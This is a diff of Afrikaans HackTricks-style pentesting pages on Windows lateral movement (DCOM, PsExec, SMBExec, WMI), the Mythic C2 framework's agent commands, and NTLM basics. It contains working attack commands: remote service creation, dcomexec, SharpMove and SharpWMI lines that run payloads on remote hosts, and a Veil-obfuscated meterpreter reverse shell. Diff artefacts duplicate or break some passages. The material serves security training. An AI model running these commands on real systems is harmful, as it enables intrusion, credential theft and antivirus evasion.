Laterale beweging kan bereik word deur DCOM Excel-objekte te benut. Vir gedetailleerde inligting is dit raadsaam om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM op [Cybereason se blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) te lees.
Laterale beweging kan bereik word deur DCOM Excel objekte te benut. Vir gedetailleerde inligting, is dit raadsaam om die bespreking oor die benutting van Excel DDE vir laterale beweging via DCOM op [Cybereason se blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) te lees.
Die Empire-projek bied 'n PowerShell-skrip, wat die gebruik van Excel vir afstandkode-uitvoering (RCE) demonstreer deur DCOM-objekte te manipuleer. Hieronder is snitte van die skrip beskikbaar op [Empire se GitHub-bewaarplek](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), wat verskillende metodes toon om Excel vir RCE te misbruik:
```powershell
Die Empire-projek bied 'n PowerShell-skrip, wat die gebruik van Excel vir afstandkode-uitvoering (RCE) demonstreer deur DCOM objekte te manipuleer. Hieronder is snitte uit die skrip beskikbaar op [Empire se GitHub-bewaarplek](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), wat verskillende metodes toon om Excel vir RCE te misbruik:
```bash
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
@ -80,7 +85,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
```
### Outomatiseringstoestelle vir Laterale Beweging
Twee gereedskap word beklemtoon om hierdie tegnieke te outomatiseer:
Twee gereedskap word beklemtoon vir die outomatisering van hierdie tegnieke:
- **Invoke-DCOM.ps1**: 'n PowerShell-skrip wat deur die Empire-projek verskaf word en die oproep van verskillende metodes vir die uitvoering van kode op afstandmasjiene vereenvoudig. Hierdie skrip is beskikbaar by die Empire GitHub-bewaarplek.
@ -88,13 +93,25 @@ Twee gereedskap word beklemtoon om hierdie tegnieke te outomatiseer:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- [SharpMove](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Outomatiese Gereedskap
- Die Powershell-skrip [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) maak dit maklik om al die kommentaar maniere te aktiveer om kode op ander masjiene uit te voer.
- Jy kan Impacket se `dcomexec.py` gebruik om op afstandsisteme opdragte uit te voer met DCOM.
```bash
dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
```
- Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
- Jy kan ook [**SharpMove**](https://github.com/0xthirteen/SharpMove) gebruik.
```bash
SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
```
## Verwysings
- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)

View File

@ -1,4 +1,4 @@
# PsExec/Winexec/ScExec
# PsExec/Winexec/ScExec/SMBExec
{{#include ../../banners/hacktricks-training.md}}
@ -13,10 +13,11 @@ Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens
### **Proses van Handmatige Uitvoering van PsExec**
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirusdetectie te ontwyk), genaamd 'met8888.exe', wat 'n meterpreter reverse_http payload verteenwoordig, die volgende stappe word geneem:
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirusdetectie te ontduik), genaamd 'met8888.exe', wat 'n meterpreter reverse_http payload verteenwoordig, die volgende stappe word geneem:
- **Kopieer die binary**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
- **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstandsgewys te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binary te verwys.
- In plaas van om die binary te kopieer, is dit ook moontlik om 'n LOLBAS binary soos `powershell.exe` of `cmd.exe` te gebruik om opdragte direk vanaf die argumente uit te voer. Byvoorbeeld `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstands te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binary te verwys.
- **Begin die diens**: Die finale stap behels die begin van die diens, wat waarskynlik 'n "time-out" fout sal veroorsaak weens die binary nie 'n werklike diensbinary is nie en nie die verwagte responskode kan teruggee nie. Hierdie fout is onbelangrik aangesien die primêre doel die uitvoering van die binary is.
Waarneming van die Metasploit listener sal onthul dat die sessie suksesvol geinitieer is.
@ -25,12 +26,23 @@ Waarneming van die Metasploit listener sal onthul dat die sessie suksesvol geini
Vind meer gedetailleerde stappe in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Jy kan ook die Windows Sysinternals binary PsExec.exe gebruik:**
- Jy kan ook die **Windows Sysinternals binary PsExec.exe** gebruik:
![](<../../images/image (928).png>)
Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik:
Of dit via webddav toegang.
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
```
- Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik.
```bash
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- Jy kan ook [**SharpMove**](https://github.com/0xthirteen/SharpMove) gebruik:
```bash
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- Jy kan ook **Impacket se `psexec` en `smbexec.py`** gebruik.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# RDPexec
{{#include ../../banners/hacktricks-training.md}}
## Hoe Dit Werk
**RDPexec** is basies om opdragte uit te voer deur in die stelsel in te log met RDP.
Vir meer inligting, kyk:
{{#ref}}
../../network-services-pentesting/pentesting-rdp.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,15 @@
# DCOM Exec
{{#include ../../banners/hacktricks-training.md}}
## SCM
**SCMExec** is 'n tegniek om op afstand op stelsels opdragte uit te voer deur die Service Control Manager (SCM) te gebruik om 'n diens te skep wat die opdrag uitvoer. Hierdie metode kan sommige sekuriteitsbeheermaatreëls omseil, soos User Account Control (UAC) en Windows Defender.
## Tools
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# SmbExec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## Hoe Dit Werk
**Smbexec** is 'n hulpmiddel wat gebruik word vir afstandsopdraguitvoering op Windows-stelsels, soortgelyk aan **Psexec**, maar dit vermy om enige kwaadwillige lêers op die teikenstelsel te plaas.
### Sleutelpunte oor **SMBExec**
- Dit werk deur 'n tydelike diens (byvoorbeeld, "BTOBTO") op die teikenmasjien te skep om opdragte via cmd.exe (%COMSPEC%) uit te voer, sonder om enige binêre lêers te laat val.
- Ten spyte van sy stil benadering, genereer dit gebeurtenislogboeke vir elke uitgevoerde opdrag, wat 'n vorm van nie-interaktiewe "shell" bied.
- Die opdrag om te verbind met **Smbexec** lyk soos volg:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### Uitvoering van Opdragte Sonder Binaries
- **Smbexec** stel direkte opdrag uitvoering deur diens binPaths in, wat die behoefte aan fisiese binaries op die teiken uitskakel.
- Hierdie metode is nuttig vir die uitvoering van eenmalige opdragte op 'n Windows-teiken. Byvoorbeeld, om dit te kombineer met Metasploit se `web_delivery` module stel dit in staat om 'n PowerShell-gefokusde omgekeerde Meterpreter payload uit te voer.
- Deur 'n afstanddiens op die aanvaller se masjien te skep met binPath ingestel om die verskafde opdrag deur cmd.exe uit te voer, is dit moontlik om die payload suksesvol uit te voer, wat 'n terugroep en payload uitvoering met die Metasploit luisteraar bereik, selfs al gebeur diens respons foute.
### Opdragte Voorbeeld
Die skep en begin van die diens kan bereik word met die volgende opdragte:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
Vir verdere besonderhede, kyk [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Verwysings
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Hoe Dit Werk
Proses kan geopen word op gasheer waar die gebruikersnaam en óf wagwoord óf hash bekend is deur die gebruik van WMI. Opdragte word uitgevoer met behulp van WMI deur Wmiexec, wat 'n semi-interaktiewe skaalervaring bied.
Proses kan op gasheer oopgemaak word waar die gebruikersnaam en óf wagwoord óf hash bekend is deur die gebruik van WMI. Opdragte word uitgevoer met behulp van WMI deur Wmiexec, wat 'n semi-interaktiewe skaalervaring bied.
**dcomexec.py:** Deur verskillende DCOM eindpunte te benut, bied hierdie skrip 'n semi-interaktiewe skaal soortgelyk aan wmiexec.py, spesifiek die ShellBrowserWindow DCOM objek. Dit ondersteun tans MMC20. Toepassing, Shell Windows, en Shell Browser Window objek. (bron: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
**dcomexec.py:** Deur verskillende DCOM-eindpunte te benut, bied hierdie skrip 'n semi-interaktiewe skaal soortgelyk aan wmiexec.py, spesifiek deur die ShellBrowserWindow DCOM-objek te benut. Dit ondersteun tans MMC20. Aansoek, Shell Windows, en Shell Browser Window-objekte. (bron: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/))
## WMI Grondbeginsels
### Namespace
### Naamruimte
Gestructureer in 'n gids-styl hiërargie, is WMI se topvlak houer \root, waaronder addisionele gidse, bekend as namespaces, georganiseer is.
Opdragte om namespaces te lys:
Gestructureer in 'n gidsstyl hiërargie, is WMI se topvlak houer \root, waaronder addisionele gidse, bekend as naamruimtes, georganiseer is.
Opdragte om naamruimtes te lys:
```bash
# Retrieval of Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name
@ -59,9 +59,9 @@ Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Descrip
```
## WMI Opname
### WMI Diensstatus
### WMI Diens Status
Opdragte om te verifieer of die WMI-diens operasioneel is:
Opdragte om te verifieer of die WMI diens operasioneel is:
```bash
# WMI service status check
Get-Service Winmgmt
@ -69,14 +69,14 @@ Get-Service Winmgmt
# Via CMD
net start | findstr "Instrumentation"
```
### Stelsel- en Prosesinligting
### Stelsel en Proses Inligting
Versameling van stelsel- en prosesinligting deur WMI:
```bash
Get-WmiObject -ClassName win32_operatingsystem | select * | more
Get-WmiObject win32_process | Select Name, Processid
```
Vir aanvallers is WMI 'n kragtige hulpmiddel om sensitiewe data oor stelsels of domeine te enumeer.
Vir aanvallers is WMI 'n kragtige hulpmiddel om sensitiewe data oor stelsels of domeine te enummer.
```bash
wmic computerystem list full /format:list
wmic process list /format:list
@ -97,14 +97,28 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s
```
Hierdie proses illustreer WMI se vermoë vir afstandsuitvoering en stelselening, wat die nut daarvan vir beide stelselsadministrasie en penetrasietoetsing beklemtoon.
## Verwysings
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## Outomatiese Gereedskap
- [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
- [**SharpWMI**](https://github.com/GhostPack/SharpWMI)
```bash
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
```
- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove):
```bash
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
```
- Jy kan ook **Impacket se `wmiexec`** gebruik.
## Verwysings
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,164 @@
# Mythic
## Wat is Mythic?
Mythic is 'n oopbron, modulaire bevel en beheer (C2) raamwerk ontwerp vir red teaming. Dit stel sekuriteitsprofessionals in staat om verskillende agente (payloads) oor verskillende bedryfstelsels, insluitend Windows, Linux, en macOS, te bestuur en te ontplooi. Mythic bied 'n gebruikersvriendelike webkoppelvlak vir die bestuur van agente, die uitvoering van opdragte, en die insameling van resultate, wat dit 'n kragtige hulpmiddel maak om werklike aanvalle in 'n beheerde omgewing te simuleer.
### Installasie
Om Mythic te installeer, volg die instruksies op die amptelike **[Mythic repo](https://github.com/its-a-feature/Mythic)**.
### Agente
Mythic ondersteun verskeie agente, wat die **payloads is wat take op die gecompromitteerde stelsels uitvoer**. Elke agent kan aangepas word vir spesifieke behoeftes en kan op verskillende bedryfstelsels loop.
Standaard het Mythic nie enige agente geïnstalleer nie. Dit bied egter 'n paar oopbron agente in [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Om 'n agent van daardie repo te installeer, moet jy net die volgende uitvoer:
```bash
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
```
U kan nuwe agente byvoeg met die vorige opdrag selfs al is Mythic reeds aan die gang.
### C2 Profiele
C2 profiele in Mythic definieer **hoe agente met die Mythic bediener kommunikeer**. Hulle spesifiseer die kommunikasieprotokol, versleutelingmetodes, en ander instellings. U kan C2 profiele skep en bestuur deur die Mythic webkoppelvlak.
Standaard word Mythic geïnstalleer sonder profiele, egter, dit is moontlik om 'n paar profiele van die repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) af te laai deur:
```bash
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
Apollo is 'n Windows-agent geskryf in C# met die 4.0 .NET Framework wat ontwerp is om in SpecterOps opleidingsaanbiedinge gebruik te word.
Installeer dit met:
```bash
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
```
Hierdie agent het 'n baie opdragte wat dit baie soortgelyk maak aan Cobalt Strike se Beacon met 'n paar ekstra's. Onder hulle ondersteun dit:
### Algemene aksies
- `cat`: Druk die inhoud van 'n lêer
- `cd`: Verander die huidige werksgids
- `cp`: Kopieer 'n lêer van een plek na 'n ander
- `ls`: Lys lêers en gidse in die huidige gids of gespesifiseerde pad
- `pwd`: Druk die huidige werksgids
- `ps`: Lys lopende prosesse op die teikenstelsel (met bygevoegde inligting)
- `download`: Laai 'n lêer van die teikenstelsel na die plaaslike masjien af
- `upload`: Laai 'n lêer van die plaaslike masjien na die teikenstelsel op
- `reg_query`: Vra registriesleutels en waardes op die teikenstelsel
- `reg_write_value`: Skryf 'n nuwe waarde na 'n gespesifiseerde registriesleutel
- `sleep`: Verander die agent se slaapinterval, wat bepaal hoe gereeld dit met die Mythic bediener incheck
- En nog ander, gebruik `help` om die volledige lys van beskikbare opdragte te sien.
### Privilege escalasie
- `getprivs`: Aktiveer soveel privilige as moontlik op die huidige draadtoken
- `getsystem`: Maak 'n handvatsel oop na winlogon en dupliceer die token, wat effektief privilige na die SYSTEM vlak verhoog
- `make_token`: Skep 'n nuwe aanmeldsessie en pas dit toe op die agent, wat die verpersoonliking van 'n ander gebruiker moontlik maak
- `steal_token`: Steel 'n primêre token van 'n ander proses, wat die agent toelaat om daardie proses se gebruiker te verpersoonlik
- `pth`: Pass-the-Hash aanval, wat die agent toelaat om as 'n gebruiker te autentiseer met hul NTLM-hash sonder om die platte wagwoord te benodig
- `mimikatz`: Voer Mimikatz-opdragte uit om akrediteer, hashes en ander sensitiewe inligting uit geheue of die SAM-databasis te onttrek
- `rev2self`: Herstel die agent se token na sy primêre token, wat effektief privilige terug na die oorspronklike vlak laat daal
- `ppid`: Verander die ouer proses vir post-exploitatie take deur 'n nuwe ouer proses-ID te spesifiseer, wat beter beheer oor taakuitvoering konteks toelaat
- `printspoofer`: Voer PrintSpoofer-opdragte uit om druk spooler sekuriteitsmaatreëls te omseil, wat privilige eskalasie of kode-uitvoering moontlik maak
- `dcsync`: Sinchroniseer 'n gebruiker se Kerberos sleutels na die plaaslike masjien, wat offline wagwoordkraking of verdere aanvalle moontlik maak
- `ticket_cache_add`: Voeg 'n Kerberos kaartjie by die huidige aanmeldsessie of 'n gespesifiseerde een, wat kaartjie hergebruik of verpersoonliking moontlik maak
### Proses uitvoering
- `assembly_inject`: Laat toe om 'n .NET assembly loader in 'n afstand proses in te spuit
- `execute_assembly`: Voer 'n .NET assembly uit in die konteks van die agent
- `execute_coff`: Voer 'n COFF-lêer in geheue uit, wat in-geheue uitvoering van gecompileerde kode moontlik maak
- `execute_pe`: Voer 'n onbeheerde uitvoerbare (PE) uit
- `inline_assembly`: Voer 'n .NET assembly uit in 'n weggooibare AppDomain, wat tydelike uitvoering van kode toelaat sonder om die agent se hoofproses te beïnvloed
- `run`: Voer 'n binêre op die teikenstelsel uit, met die stelsel se PATH om die uitvoerbare te vind
- `shinject`: Spuit shellcode in 'n afstand proses, wat in-geheue uitvoering van arbitrêre kode moontlik maak
- `inject`: Spuit agent shellcode in 'n afstand proses, wat in-geheue uitvoering van die agent se kode moontlik maak
- `spawn`: Skep 'n nuwe agent sessie in die gespesifiseerde uitvoerbare, wat die uitvoering van shellcode in 'n nuwe proses moontlik maak
- `spawnto_x64` en `spawnto_x86`: Verander die standaard binêre wat in post-exploitatie take gebruik word na 'n gespesifiseerde pad in plaas van om `rundll32.exe` sonder params te gebruik wat baie geraas maak.
### Mithic Forge
Dit laat toe om **COFF/BOF** lêers van die Mythic Forge te laai, wat 'n repository van vooraf-gecompileerde payloads en gereedskap is wat op die teikenstelsel uitgevoer kan word. Met al die opdragte wat gelaai kan word, sal dit moontlik wees om algemene aksies uit te voer deur hulle in die huidige agent proses as BOFs uit te voer (meer stealth gewoonlik).
Begin om hulle te installeer met:
```bash
./mythic-cli install github https://github.com/MythicAgents/forge.git
```
Dan, gebruik `forge_collections` om die COFF/BOF modules van die Mythic Forge te wys sodat jy dit kan kies en in die agent se geheue kan laai vir uitvoering. Standaard word die volgende 2 versamelings in Apollo bygevoeg:
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
Nadat een module gelaai is, sal dit in die lys verskyn as 'n ander opdrag soos `forge_bof_sa-whoami` of `forge_bof_sa-netuser`.
### Powershell & skrip uitvoering
- `powershell_import`: Importeer 'n nuwe PowerShell skrip (.ps1) in die agent kas vir latere uitvoering
- `powershell`: Voer 'n PowerShell opdrag uit in die konteks van die agent, wat geavanceerde skripting en outomatisering moontlik maak
- `powerpick`: Injekteer 'n PowerShell laaier samestelling in 'n sakrifisiele proses en voer 'n PowerShell opdrag uit (sonder PowerShell logging).
- `psinject`: Voer PowerShell uit in 'n gespesifiseerde proses, wat gerigte uitvoering van skripte in die konteks van 'n ander proses moontlik maak
- `shell`: Voer 'n shell opdrag uit in die konteks van die agent, soortgelyk aan die uitvoering van 'n opdrag in cmd.exe
### Laterale Beweging
- `jump_psexec`: Gebruik die PsExec tegniek om lateraal na 'n nuwe gasheer te beweeg deur eers die Apollo agent uitvoerbare lêer (apollo.exe) oor te kopieer en dit uit te voer.
- `jump_wmi`: Gebruik die WMI tegniek om lateraal na 'n nuwe gasheer te beweeg deur eers die Apollo agent uitvoerbare lêer (apollo.exe) oor te kopieer en dit uit te voer.
- `wmiexecute`: Voer 'n opdrag uit op die plaaslike of gespesifiseerde afstandstelsel met behulp van WMI, met opsionele akrediteer vir impersonasie.
- `net_dclist`: Verkry 'n lys van domeinbeheerder vir die gespesifiseerde domein, nuttig om potensiële teikens vir laterale beweging te identifiseer.
- `net_localgroup`: Lys plaaslike groepe op die gespesifiseerde rekenaar, wat standaard na localhost terugval as geen rekenaar gespesifiseer is nie.
- `net_localgroup_member`: Verkry plaaslike groep lidmaatskap vir 'n gespesifiseerde groep op die plaaslike of afstandrekenaar, wat moontlik maak om gebruikers in spesifieke groepe te tel.
- `net_shares`: Lys afstandlike gedeeltes en hul toeganklikheid op die gespesifiseerde rekenaar, nuttig om potensiële teikens vir laterale beweging te identifiseer.
- `socks`: Stel 'n SOCKS 5-konforme proxy op die teiken netwerk in, wat moontlik maak om verkeer deur die gecompromitteerde gasheer te tonnel. Dit is versoenbaar met gereedskap soos proxychains.
- `rpfwd`: Begin luister op 'n gespesifiseerde poort op die teiken gasheer en stuur verkeer deur Mythic na 'n afstandlike IP en poort, wat afstandlike toegang tot dienste op die teiken netwerk moontlik maak.
- `listpipes`: Lys al die benoemde pype op die plaaslike stelsel, wat nuttig kan wees vir laterale beweging of bevoegdheidstoename deur met IPC meganismes te werk.
### Verskeie Opdragte
- `help`: Vertoon gedetailleerde inligting oor spesifieke opdragte of algemene inligting oor al beskikbare opdragte in die agent.
- `clear`: Merk take as 'gekuis' sodat dit nie deur agente opgetel kan word nie. Jy kan `all` spesifiseer om al die take te kuis of `task Num` om 'n spesifieke taak te kuis.
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
Poseidon is 'n Golang agent wat saamgestel word in **Linux en macOS** uitvoerbare lêers.
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
Wanneer gebruiker oor linux het dit 'n paar interessante opdragte:
### Algemene aksies
- `cat`: Druk die inhoud van 'n lêer
- `cd`: Verander die huidige werksgids
- `chmod`: Verander die regte van 'n lêer
- `config`: Beskou huidige konfigurasie en gasheerinligting
- `cp`: Kopieer 'n lêer van een plek na 'n ander
- `curl`: Voer 'n enkele webversoek uit met opsionele koptekste en metode
- `upload`: Laai 'n lêer op na die teiken
- `download`: Laai 'n lêer af van die teikenstelsel na die plaaslike masjien
- En nog baie meer
### Soek Sensitiewe Inligting
- `triagedirectory`: Vind interessante lêers binne 'n gids op 'n gasheer, soos sensitiewe lêers of akrediteer.
- `getenv`: Kry al die huidige omgewing veranderlikes.
### Beweeg lateraal
- `ssh`: SSH na gasheer met die aangewese akrediteer en open 'n PTY sonder om ssh te spawn.
- `sshauth`: SSH na gespesifiseerde gasheer(s) met die aangewese akrediteer. Jy kan dit ook gebruik om 'n spesifieke opdrag op die afstand gasheer via SSH uit te voer of dit gebruik om lêers te SCP.
- `link_tcp`: Skakel na 'n ander agent oor TCP, wat direkte kommunikasie tussen agente moontlik maak.
- `link_webshell`: Skakel na 'n agent met die webshell P2P-profiel, wat afstandstoegang tot die agent se webkoppelvlak moontlik maak.
- `rpfwd`: Begin of Stop 'n Reverse Port Forward, wat afstandstoegang tot dienste op die teiken netwerk moontlik maak.
- `socks`: Begin of Stop 'n SOCKS5-proxy op die teiken netwerk, wat tunneling van verkeer deur die gecompromitteerde gasheer moontlik maak. Kompatibel met gereedskap soos proxychains.
- `portscan`: Skandeer gasheer(s) vir oop poorte, nuttig om potensiële teikens vir laterale beweging of verdere aanvalle te identifiseer.
### Proses uitvoering
- `shell`: Voer 'n enkele shell-opdrag uit via /bin/sh, wat direkte uitvoering van opdragte op die teikenstelsel moontlik maak.
- `run`: Voer 'n opdrag vanaf skyf met argumente uit, wat die uitvoering van binaries of skripte op die teikenstelsel moontlik maak.
- `pty`: Maak 'n interaktiewe PTY oop, wat direkte interaksie met die shell op die teikenstelsel moontlik maak.

View File

@ -4,7 +4,7 @@
## Basiese Inligting
In omgewings waar **Windows XP en Server 2003** in werking is, word LM (Lan Manager) hashes gebruik, alhoewel dit algemeen erken word dat hierdie maklik gekompromitteer kan word. 'n Bepaalde LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, dui op 'n scenario waar LM nie gebruik word nie, wat die hash vir 'n leë string verteenwoordig.
In omgewings waar **Windows XP en Server 2003** in werking is, word LM (Lan Manager) hashes gebruik, alhoewel dit algemeen erken word dat hierdie maklik gekompromitteer kan word. 'n Spesifieke LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, dui op 'n scenario waar LM nie gebruik word nie, wat die hash vir 'n leë string verteenwoordig.
Standaard is die **Kerberos** verifikasieprotokol die primêre metode wat gebruik word. NTLM (NT LAN Manager) tree in onder spesifieke omstandighede in: afwesigheid van Active Directory, nie-bestaande domein, wanfunksionering van Kerberos weens onvanpaste konfigurasie, of wanneer verbindings probeer word met 'n IP-adres eerder as 'n geldige hostname.
@ -15,9 +15,9 @@ Ondersteuning vir die verifikasieprotokolle - LM, NTLMv1, en NTLMv2 - word gefas
**Belangrike Punten**:
- LM hashes is kwesbaar en 'n leë LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) dui op sy nie-gebruik.
- Kerberos is die standaard verifikasiemetode, met NTLM slegs gebruik onder sekere toestande.
- Kerberos is die standaard verifikasiemetode, met NTLM slegs onder sekere toestande gebruik.
- NTLM verifikasiepakkette is identifiseerbaar deur die "NTLMSSP" kop.
- LM, NTLMv1, en NTLMv2 protokolle word deur die stelselfil `msv1\_0.dll` ondersteun.
- LM, NTLMv1, en NTLMv2 protokolle word deur die stelsel lêer `msv1\_0.dll` ondersteun.
## LM, NTLMv1 en NTLMv2
@ -46,42 +46,42 @@ Mogelijke waardes:
```
## Basiese NTLM Domein verifikasie Skema
1. Die **gebruiker** voer sy **bewyse** in
2. Die kliënt masjien **stuur 'n verifikasie versoek** wat die **domeinnaam** en die **gebruikersnaam** stuur
3. Die **bediener** stuur die **uitdaging**
4. Die **kliënt enkripteer** die **uitdaging** met die hash van die wagwoord as sleutel en stuur dit as antwoord
5. Die **bediener stuur** na die **Domeinbeheerder** die **domeinnaam, die gebruikersnaam, die uitdaging en die antwoord**. As daar **nie** 'n Aktiewe Gids geconfigureer is of die domeinnaam die naam van die bediener is, word die bewese **lokaal nagegaan**.
6. Die **domeinbeheerder kyk of alles korrek is** en stuur die inligting na die bediener
1. Die **gebruiker** voer sy **akkrediteer** in.
2. Die kliënt masjien **stuur 'n verifikasie versoek** wat die **domeinnaam** en die **gebruikersnaam** stuur.
3. Die **bediener** stuur die **uitdaging**.
4. Die **kliënt enkripteer** die **uitdaging** met die hash van die wagwoord as sleutel en stuur dit as antwoord.
5. Die **bediener stuur** na die **Domeinbeheerder** die **domeinnaam, die gebruikersnaam, die uitdaging en die antwoord**. As daar **nie** 'n Aktiewe Gids geconfigureer is of die domeinnaam die naam van die bediener is nie, word die akkrediteer **lokaal nagegaan**.
6. Die **domeinbeheerder kyk of alles korrek is** en stuur die inligting na die bediener.
Die **bediener** en die **Domeinbeheerder** kan 'n **Veilige Kanaal** skep via **Netlogon** bediener aangesien die Domeinbeheerder die wagwoord van die bediener ken (dit is binne die **NTDS.DIT** db).
### Lokale NTLM verifikasie Skema
Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self nagaan** of die gebruiker kan verifieer.
Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self kyk** of die gebruiker kan verifieer.
### NTLMv1 Uitdaging
Die **uitdaging lengte is 8 bytes** en die **antwoord is 24 bytes** lank.
Die **hash NT (16bytes)** is verdeel in **3 dele van 7bytes elk** (7B + 7B + (2B+0x00\*5)): die **laaste deel is met nulles gevul**. Dan, die **uitdaging** word **afgesluit** met elke deel en die **resultaat** afgeslote bytes word **saamgevoeg**. Totaal: 8B + 8B + 8B = 24Bytes.
Die **hash NT (16bytes)** is verdeel in **3 dele van 7bytes elk** (7B + 7B + (2B+0x00\*5)): die **laaste deel is met nulles gevul**. Dan, die **uitdaging** word **afgesluit** met elke deel en die **resultaat** van die afgeslote bytes word **saamgevoeg**. Totaal: 8B + 8B + 8B = 24Bytes.
**Probleme**:
- Gebrek aan **ewekansigheid**
- Die 3 dele kan **afgeval word** om die NT hash te vind
- Die 3 dele kan **afgeval word** om die NT hash te vind.
